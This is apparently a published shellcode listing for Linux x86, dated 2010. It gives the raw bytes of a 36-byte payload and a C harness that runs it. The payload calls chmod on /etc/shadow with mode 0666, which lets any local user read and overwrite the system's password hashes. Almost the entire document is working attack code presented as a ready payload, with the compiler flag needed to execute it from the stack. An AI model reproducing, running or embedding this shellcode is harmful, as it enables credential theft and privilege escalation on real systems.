36 bytes chmod("/etc/shadow", 0666) shellcode

#include <stdio.h> #include <string.h> /* by Magnefikko 14.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 36 bytes chmod("/etc/shadow", 0666) shellcode Platform: Linux x86 chmod("/etc/shadow", 0666); gcc -Wl,-z,execstack filename.c shellcode: \xeb\x12\x5b\x31\xc0\x31\xc9\x31\xd2\xb1\xb6\xb5\x01\xb0\x0f\x89\x53\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77 */ int main(){ char shell[] = "\xeb\x12\x5b\x31\xc0\x31\xc9\x31\xd2\xb1\xb6\xb5\x01\xb0\x0f\x89\x53\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"; printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell) = %d\n", strlen(shell)); (*(void (*)()) shell)(); }